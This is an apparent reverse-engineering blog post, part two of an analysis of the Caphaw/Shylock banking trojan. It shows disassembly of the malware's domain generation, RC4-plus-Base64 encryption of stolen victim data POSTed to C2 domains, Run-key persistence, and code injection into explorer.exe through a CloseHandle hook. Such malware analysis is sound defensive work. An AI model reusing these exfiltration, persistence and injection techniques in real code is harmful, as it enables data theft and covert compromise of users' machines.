Welcome to the second part of our analysis of Caphaw/Shylock. In the first chapter we have gone through the dropping and unpacking stages of this malware. In this second part we will go through the remaining HSE:: Step(s) – in particular we will see how the previously gathered information will be used, the network interactions between the bot and the Command and Control Server and finally how Caphaw injects its malicious code inside explorer.exe process.
Authors
Evilcry (@Blackmond) and Cthulhu(@0s0urce).
Exploring the Core – Part 2
In the last episode we left our analysis at “HSE::Step 5 (It’s the first starting).” and more precisely inside call 00EE48DB, immediately after victim’s data collection phase.
00EED33F 8BFC MOV EDI,ESP 00EED341 E8 D787FEFF CALL 00ED5B1D 00EED346 E8 DCA4FFFF CALL 00EE7827 ; ECX points to one of the previously decrypted URLs 00EED34B 8D75 D4 LEA ESI,[EBP-2C]
The presence of an URL in ECX suggests that we are should be close to the network functionality. Let’s go ahead and analyse call 00EE7827 isolating the most important subcalls.
00EE783B 8D45 FC LEA EAX,[EBP-4] 00EE783E 50 PUSH EAX ; points to one of the previously decrypted URLs 00EE783F E8 7DF9FFFF CALL 00EE71C1 00EE7844 59 POP ECX
Inside call 00EE711C1:
00EE71CD B8 1095EB00 MOV EAX,0EB9510 00EE71D2 E8 5A4A0000 CALL 00EEBC31 ; decrypt "abcdefghijklmnopqrstuvwxyz0123456789" 00EE71D7 8D45 0C LEA EAX,[EBP+0C] .. 00EE7220 8B75 EC MOV ESI,DWORD PTR SS:[EBP-14] ; pointer to the alphabet string in ESI 00EE7223 C645 FD 00 MOV BYTE PTR SS:[EBP-3],0 00EE7227 8BD8 MOV EBX,EAX 00EE7229 85F6 TEST ESI,ESI 00EE722B 75 04 JNE SHORT 00EE7231 00EE722D 33C0 XOR EAX,EAX 00EE722F EB 07 JMP SHORT 00EE7238 00EE7231 8BCE MOV ECX,ESI 00EE7233 E8 DDE0FEFF CALL 00ED5315 ; strlen(alphabet) 00EE7238 50 PUSH EAX 00EE7239 E8 B811FFFF CALL 00ED83F6 ; pick a number between 0 and 0x24 00EE723E 59 POP ECX ; EAX contains the chosen digit 00EE723F 85F6 TEST ESI,ESI 00EE7241 75 04 JNE SHORT 00EE7247 00EE7243 33C0 XOR EAX,EAX 00EE7245 EB 02 JMP SHORT 00EE7249 00EE7247 03C6 ADD EAX,ESI ; sum the chosen digit with alphabet table 00EE7249 8A00 MOV AL,BYTE PTR DS:[EAX] 00EE724B 8845 FC MOV BYTE PTR SS:[EBP-4],AL ; alphabet character at digit-chosen position 00EE724E 8D45 FC LEA EAX,[EBP-4] 00EE7251 50 PUSH EAX 00EE7252 8D7D F0 LEA EDI,[EBP-10] 00EE7255 E8 4AEBFEFF CALL 00ED5DA4 00EE725A 4B DEC EBX 00EE725B ^ 75 CC JNE SHORT 00EE7229 ; next iteration
ECX finally points to the final string, in our case we have:
ECX = “3m9ojygm0zm3y”
The next piece of code is from the same call:
00EE726E FF30 PUSH DWORD PTR DS:[EAX] ; 'https://' 00EE7270 8D75 F4 LEA ESI,[EBP-0C] 00EE7273 E8 75E8FEFF CALL 00ED5AED 00EE7278 FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; new builded string 3m9ojygm0zm3y 00EE727B 8BFE MOV EDI,ESI 00EE727D E8 22EBFEFF CALL 00ED5DA4 ; strcat(http://, new_string) 00EE7282 FF75 F4 PUSH DWORD PTR SS:[EBP-0C] ; "https://3m9ojygm0zm3y" ... 00EE72B5 8BFE MOV EDI,ESI 00EE72B7 E8 E8EAFEFF CALL 00ED5DA4 00EE72BC 8BDE MOV EBX,ESI ; finally "https://3m9ojygm0zm3y.thepohzi.su/ping.html"
The result of call 00EE71C1 is given by the string:
“https://3m9ojygm0zm3y.thepohzi.su/ping.html”
As it should be clear call 00EE71C1 contains the DGA (Domain Generation Algorithm) function. More information about DGA techniques here.
After call 00EE71C1 the next important call is reported below:
00EE7852 50 PUSH EAX 00EE7853 E8 D6FCFFFF CALL 00EE752E 00EE7858 8D45 0C LEA EAX,[EBP+0C]
Inside call 00EE752E:
00EE7541 50 PUSH EAX 00EE7542 E8 048D0000 CALL 00EF024B ; cut string as 'dga-subdomain.domain.tld' 00EE7547 8D45 FC LEA EAX,[EBP-4] .. 00EE754B B8 DC93EB00 MOV EAX,0EB93DC 00EE7550 E8 DC460000 CALL 00EEBC31 ; decrypt ca5f2abe 00EE7555 83C4 0C ADD ESP,0C .. 00EE755E 8BF8 MOV EDI,EAX 00EE7560 E8 88E5FEFF CALL 00ED5AED 00EE7565 FF37 PUSH DWORD PTR DS:[EDI] ; ASCII "ca5f2abe" .. 00EE7565 FF37 PUSH DWORD PTR DS:[EDI] 00EE7567 8BFE MOV EDI,ESI 00EE7569 E8 36E8FEFF CALL 00ED5DA4 ; strcat(3ptv80m1lofln6y.tohk5ja.cc, ca5f2abe) 00EE756E 8D75 FC LEA ESI,[EBP-4] ; result = "3ptv80m1lofln6y.tohk5ja.ccca5f2abe" .. 00EE757C E8 9CE5FEFF CALL 00ED5B1D 00EE7581 8B17 MOV EDX,DWORD PTR DS:[EDI] ; POST data "key=a323e7d52d&id=57.. 00EE7583 85D2 TEST EDX,EDX .. 00EE758B 8BCA MOV ECX,EDX 00EE758D E8 83DDFEFF CALL 00ED5315 ; strlen(POST data) 00EE7592 8BF0 MOV ESI,EAX .. 00EE759F E8 71DDFEFF CALL 00ED5315 ; EAX = strlen(3ptv80m1lofln6y.tohk5ja.ccca5f2abe) 00EE75A4 56 PUSH ESI ; ESI = POST data len. 00EE75A5 52 PUSH EDX ; EDX = POST data string 00EE75A6 50 PUSH EAX ; EAX = strlen(3ptv80m1lofln6y.tohk5ja.ccca5f2abe) 00EE75A7 51 PUSH ECX ; ECX = 3ptv80m1lofln6y.tohk5ja.ccca5f2abe 00EE75A8 E8 1361FFFF CALL 00EDD6C0
One of the most used encryption algorithms usually is RC4, so in first instance we will do some assumptions and later on we will demonstrate this hypothesis:
Hypothesis – RC4 encryption
- Assumption 1: experience tells us that CALL 00EDD6C0 – COULD be RC4.
- Assumption 2: EDX points to the code to be encrypted (actually the plaintext).
- Assumption 3: ECX points to the encryption key.
and now we have to formulate a sequence of steps in order to demonstrate our idea.
Verification of our hypothesis:
- Dump to file of ECX pointed buffer (POST data).
- Buffer contains extra data, we have to carve the plaintext (from ‘key=’ to NULL byte)
- Apply cryptographic filter.
- Compare results of the crypto filter with the output from CALL 00EDD6C0.
For this demonstration it will come in handy Profiler, where we can apply a cryptographic filter to a specified block of data.
Now we can execute CALL 00EDD6C0 and match the results.
We have demonstrated, without wasting too much time, that the algorithm used is RC4. Let’g go ahead.
00EE75B3 56 PUSH ESI ; Post data len 00EE75B4 E8 C363FFFF CALL 00EDD97C 00EE75B9 8BD8 MOV EBX,EAX ; ASCII "Qo/D+FhsV7onrJuo1Oa3jW54YpipEAsv5QXgQCMleF82in28voElcco
The most obious thing here is that Caphaw applies a layer of Base64 to the RC4 ciphertext. We can verify our assumption again with the base64 conversion filter exposed by Profiler.
In synthesis:
data_to_be_sent = Encode_Base64(Encrypt_RC4(post_data, dga_based_key))
and finally the following string is assembled:
z=data_to_be_sent
Please note that the encryption key is composed of a dynamic part (DGA generated domain) and a static string given by ca5f2abe. Such key building scheme will allow the receiving DGA generated domain to decrypt the POST data, because the domain name is in itself a piece of the encryption key, the remaining shared secret is given by the static string ca5f2abe.
The domain name is in itself a piece
of the encryption key, the remaining
shared secret is given by the static
string ca5f2abe.
Next call to be analysed:
00EE7873 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10] 00EE7876 E8 8F7F0000 CALL 00EEF80A 00EE787B 59 POP ECX
Inside 00EEF80A
00EEF81B E8 FD62FEFF CALL 00ED5B1D 00EEF820 E8 9CF9FFFF CALL 00EEF1C1 00EEF825 59 POP ECX
And again inside 00EEF1C1 we have call 00EEEAF8 where we find:
00EEEB0E 8B15 8482EF00 MOV EDX,DWORD PTR DS:[0EF8284] 00EEEB14 8B4A 38 MOV ECX,DWORD PTR DS:[EDX+38] ; previously computed MD5 hash 00EEEB17 85C9 TEST ECX,ECX 00EEEB19 74 31 JE SHORT 00EEEB4C 00EEEB1B E8 F567FEFF CALL 00ED5315 ; strlen(MD5_hash) 00EEEB20 3BF0 CMP ESI,EAX ; jump if all MD5 chars are computed 00EEEB22 73 28 JAE SHORT 00EEEB4C 00EEEB24 8BC1 MOV EAX,ECX 00EEEB26 85C0 TEST EAX,EAX 00EEEB28 74 02 JE SHORT 00EEEB2C 00EEEB2A 03C6 ADD EAX,ESI 00EEEB2C 8A00 MOV AL,BYTE PTR DS:[EAX] 00EEEB2E 8D48 D0 LEA ECX,[EAX-30] 00EEEB31 80F9 09 CMP CL,9 ; if current md5 is not a digit 00EEEB34 77 13 JA SHORT 00EEEB49 ; jump to the next md5 char 00EEEB36 8845 FC MOV BYTE PTR SS:[EBP-4],AL 00EEEB39 8D45 FC LEA EAX,[EBP-4] 00EEEB3C 50 PUSH EAX 00EEEB3D 8D7D F8 LEA EDI,[EBP-8] 00EEEB40 C645 FD 00 MOV BYTE PTR SS:[EBP-3],0 00EEEB44 E8 5B72FEFF CALL 00ED5DA4 ; strcat next digit 00EEEB49 46 INC ESI 00EEEB4A ^ EB C2 JMP SHORT 00EEEB0E ;next iteration .. 00EEEB83 E8 5F75FEFF CALL 00ED60E7 ; select first 4 chars of the hash .. 00EEEBBF B8 D88CEB00 MOV EAX,0EB8CD8 00EEEBC4 E8 68D0FFFF CALL 00EEBC31 ; decrypt "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.%s)" .. 00EEEBCE 8BC6 MOV EAX,ESI 00EEEBD0 E8 4A74FEFF CALL 00ED601F ; sprintf user-agent with selected 4 digits
This piece of code selects only digit values from the previously computed hash, here is a quick summary:
filter_by_digits("571C8ECED4FAF69E4A38507B4417257B") = "57184694385074417257" select_4_digits("57184694385074417257") = 5718 Assemble User-Agent string = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.5718)"
As you can see .NET CLR version 1.0.5718 is composed by the 4-digits-hash version. The user-agent depends on previously computed hash (which can be considered as an Indicator of Compromise) will allow the server to evaluate the consistency and authenticity of the request.
00EEEC1C 57 PUSH EDI ; EDI = 0 00EEEC1D 57 PUSH EDI 00EEEC1E 57 PUSH EDI 00EEEC1F 57 PUSH EDI 00EEEC20 FF75 FC PUSH DWORD PTR SS:[EBP-4] ; User-Agent string 00EEEC23 FF15 9484EF00 CALL DWORD PTR DS:[0EF8494] ; InternetOpenA .. 00EEF20F E8 0969FEFF CALL 00ED5B1D 00EEF214 E8 F9FEFFFF CALL 00EEF112 ; InternetConnectA(DGA_domain) .. 00EEF227 C745 FC C0D4010 MOV DWORD PTR SS:[EBP-4],1D4C0 00EEF22E E8 6FF4FFFF CALL 00EEE6A2 ; InternetSetOption 00EEF233 8D45 FC LEA EAX,[EBP-4]
These three API calls (InternetOpenA, InternetConnectA, InternetSetOption) initialise the malware’s use of the WinInet functions then they open an HTTP session for the given DGA domain.
00EEF0DF 53 PUSH EBX ; 0 00EEF0E0 57 PUSH EDI ; 84A83300 00EEF0E1 53 PUSH EBX ; 0 00EEF0E2 53 PUSH EBX ; 0 00EEF0E3 53 PUSH EBX ; 0 00EEF0E4 50 PUSH EAX ; '/ping.html' 00EEF0E5 FF75 10 PUSH DWORD PTR SS:[EBP+10] ; 'POST' 00EEF0E8 FF75 08 PUSH DWORD PTR SS:[EBP+8] 00EEF0EB FF15 9C84EF00 CALL DWORD PTR DS:[0EF849C] ; HttpOpenRequestA
This piece of code creates an HTTP request handle and later decrypts a few strings that will be used to build a proper request header:
Decrypt string: “Content-Type: application/x-www-form-urlencoded”
Decrypt string: “Accept-Language: en-US;q=0.2,en”
Everything is now ready in order to send the POST request: 00EEEFDC FF75 14 PUSH DWORD PTR SS:[EBP+14] 00EEEFDF FF75 10 PUSH DWORD PTR SS:[EBP+10] 00EEEFE2 FF75 0C PUSH DWORD PTR SS:[EBP+0C] 00EEEFE5 FF75 08 PUSH DWORD PTR SS:[EBP+8] 00EEEFE8 53 PUSH EBX 00EEEFE9 FF15 A084EF00 CALL DWORD PTR DS:[0EF84A0] ; HttpSendRequestA
Since we are dealing with DGA, it’s a very common situation that the requested domain is offline, for this reason Caphaw needs a to reiterate the request until an active domain replies. In the core (the component we are analysing now) this attempt is restricted to a limited number of attempts, while in the explorer.exe injected code we will see a thread dedicated to this specific scope.
We have finished the very long Call 00EE48DB (please refer to the first part of the article) that characterised the HSE::Step 5. In synthesis this call:
- Collects information about the victim in order to build a POST request.
- Generates via DGA the domains where stolen data will be sent.
- Encrypts the collected details.
- Contacts and sends POST request to the malicious domains.
We are now again inside the main call, as usual we will consider only the most significant calls.
00EF5F34 66:C74424 19 3A MOV WORD PTR SS:[ESP+19],3A ; c: (in our case) 00EF5F3B E8 D625FEFF CALL 00ED8516 ; GetDriveTypeA( c: ) 00EF5F40 59 POP ECX 00EF5F41 85C0 TEST EAX,EAX 00EF5F43 74 05 JE SHORT 00EF5F4A 00EF5F45 83F8 03 CMP EAX,3 00EF5F48 75 0F JNE SHORT 00EF5F59 ; check if the drive is DRIVE_FIXED (HDD or flash drive for example) 00EF5F4A 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] ; EAX point to FirefoxUpdate.exe's path
This is a basic check to understand from what kind of drive the malicious binary has been executed. Immediately after this call we reach HSE::Step 7.
00EF5F63 E8 C95CFFFF CALL 00EEBC31 ;HSE::Step 7 00EF5F68 59 POP ECX 00EF5F69 8D7424 10 LEA ESI,[ESP+10] 00EF5F6D E8 F6FBFDFF CALL 00ED5B68 00EF5F72 FF7424 18 PUSH DWORD PTR SS:[ESP+18] 00EF5F76 BE 8082EF00 MOV ESI,0EF8280 00EF5F7B E8 596AFEFF CALL 00EDC9D9 ; Copy FirefoxUpdate.exe content into a buffer
Here’s what happens inside call 00EDC9D9c, summarised in pseudo-code:
CreateFileA(FirefoxUpdate.exe) size = GetFileSize of FirefoxUpdate.exe Buffer = ReadFile(FirefoxUpdate.exe, size)
This copies the entire content of FirefoxUpdate.exe into a buffer via ReadFile.
00EF6018 E8 145CFFFF CALL 00EEBC31 ; HSE::Step 8 00EF601D 59 POP ECX 00EF601E 8D7424 0C LEA ESI,[ESP+0C] 00EF6022 E8 41FBFDFF CALL 00ED5B68 00EF6027 6A 01 PUSH 1 00EF6029 E8 403BFFFF CALL 00EE9B6E ; setup survival on reboot
HSE::Step 8 is functionally characterised by the installation of a method to remain persistent after reboot, in order to grant that FirefoxUpdate.exe will be executed during each system reboot. Call 00EE9B6E can be synthesised as follows:
RegOpenKeyA("Software\Microsoft\Windows\CurrentVersion\Run") RegQueryValueExA(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) If entry does not exists then build a string like this one: C:\Documents and Settings\<user>\Application Data\Microsoft\Internet Explorer\mmc.exe mmc.exe file is a copy of FirefoxUpdate.exe binary. RegOpenKeyA("Software\Microsoft\Windows\CurrentVersion\Run") RegSetValueExA(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run)
The path and binary name of the new copy could arbitrary change for each infection, in this way Caphaw attempts to disguise itself, making intelligence activities based on research of static artefacts a little more difficult.
00EF6041 E8 EB5BFFFF CALL 00EEBC31 ;HSE::Step 9 00EF6046 59 POP ECX 00EF6047 8D7424 0C LEA ESI,[ESP+0C] .. 00EF60C1 E8 6B5BFFFF CALL 00EEBC31 ; explorer.exe 00EF60C6 59 POP ECX 00EF60C7 FF30 PUSH DWORD PTR DS:[EAX] ; explorer.exe 00EF60C9 E8 9102FEFF CALL 00ED635F
HSE::Step 9 can be resumed by the call 00ED635F which retrieves PID of explorer.exe by enumerating processes via CreateToolhelp32Snapshot() method. Immediately after, we reach HSE::Step 10 which is the last one.
00EF6134 57 PUSH EDI ; explorer.exe PID 00EF6135 E8 6D51FEFF CALL 00EDB2A7
Call 00EDB2A7 performs code injection inside explorer.exe process. First operation involves retrieving explorer’s handle:
OpenProcess Access = PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION ProcessID = explorer.exe PID
PROCESS_VM_WRITE allows Caphaw to inject code (write) inside explorer via WriteProcessMemory(), OpenProcess() returns the handle for explorer.exe which is 1Bc.
CreateMutex Name = "5J*%$:YL[cXzW=8%.|cTB`!.,}FOur^mC000005E8"
A named mutex is created, the name adopted comes from encrypted MD5_EVT_ or _MTX_ seen in the first part of our analysis.
.1 VirtualAllocEx hProcess = 000001BC Address = NULL Size = 305638. AllocType = MEM_COMMIT|MEM_RESERVE Protect = PAGE_EXECUTE_READWRITE .2 VirtualAllocEx hProcess = 000001BC Address = NULL Size = 299008. AllocType = MEM_COMMIT|MEM_RESERVE Protect = PAGE_READWRITE
Here we have two VirtualAllocEx which commit a region of memory within the virtual address space of a specified process, in our case from hProcess = 1BC it’s clear that the target process is explorer.
WriteProcessMemoryA hProcess = 000001BC BaseAddress = 0BF0000 Buffer = 00F19018 Size = 299008. pBytesWritten = 0012F6B8 -> 0
As you can see the size of this WriteProcessMemory matches with VirtualAllocEx . Immediately after we have another WriteProcessA with the following parameters:
WriteProcessMemoryA hProcess = 000001BC BaseAddress = 0B90000 Buffer = 00F81328 Size = 305638. pBytesWritten = 0012F6B8 -> 299008.
This time size matches with the first VirtualAllocEx that has PAGE_EXECUTE_READWRITE protection, this means that we have a block of executable data (Code), we can follow the code in the dump window to observe the source buffer.
An entire PE is injected inside the target process, its whole memory region is executable.
VirtualAllocEx hProcess = 000001BC Address = NULL Size = 90. AllocType = MEM_COMMIT|MEM_RESERVE Protect = PAGE_EXECUTE_READWRITE WriteProcessMemoryA hProcess = 000001BC BaseAddress = 0BE0000 Buffer = 00F7F340 Size = 90. pBytesWritten = 0012F68C -> 444.
Again we have a WriteProcessMemory directed to a block of executable memory, we can inspect the injected code by disassembling data pointed by the Buffer parameter:
Here we have the latest VirtualAllocEx call:
VirtualProtectEx hProcess = 000001BC Address = 7C809B77 Size = 7 NewProtect = PAGE_EXECUTE_READWRITE pOldProtect = 0012F688 -> PAGE_NOACCESS
Set PAGE_EXECUTE_READWRITE on the first 7 bytes starting from address 7C809B77 which corresponds to kernel32.CloseHandle.
WriteProcessMemoryA hProcess = 000001BC BaseAddress = kernel32.CloseHandle Buffer = 0012F6BC Size = 7 pBytesWritten = 0012F68C -> 90.
Here it happens an interesting thing: CloseHandle API used by explorer.exe will be patched, more precisely we have a patch 7 bytes long, let’inspect Buffer parameter:
0012F6BC 90 NOP 0012F6BD 68 0000BE00 PUSH 0BE0000 0012F6C2 C3 RETN
Once reached, RETN execution jumps at address 0BE0000, which is the block of code previously injected via WriteProcessMemory. This is how Caphaw performs Code Injection and executes its own code inside explorer.exe!
7 bytes of CloseHandle() will be patched,
this is how Caphaw performs code injection
inside explorer.exe
The first time that CloseHandle will be called by explorer.exe the execution will jump to the Caphaw malicious code. It is worth to note that the patched API isn’t always CloseHandle, under different circumstances (different OS) the chosen API could change.
All 10 HSE Steps are now completed, malicious code analysis will now continue in explorer.exe.
How to approach and debug the injected code
How do we proceed in order to analyse the injected code?
If we execute the last WriteProcessMemory (the one that patches the API) explorer could call at any time CloseHandle and the malicious code would be automatically executed. As you can see from the 7 disassembled bytes, the landing address is ‘leaked’ -> 0BE0000 this means that we have an address where to set a breakpoint. The first operation is to open another explorer.exe instance inside Olly and locate this leaked address (ctrl + G), set a breakpoint and let explorer run normally. We can now go back to the dropper and execute the patching WriteProcessMemory – the debugged explorer instance will hit the breakpoint right away.
Conclusions
In this second episode we have seen the information gathered and how they are encrypted, how networking activity is performed by Caphaw and finally we have analyzed its code injection capability. We are at 2/3 of our path toward the complete analysis. In the next final episode we will deal with the code injected in explorer.exe. We will meet again DGA algorithm and networking stuff, but this time we will follow another branch. Finally we will also take a glance to Caphaw/Shylock’s configuration and webinjects.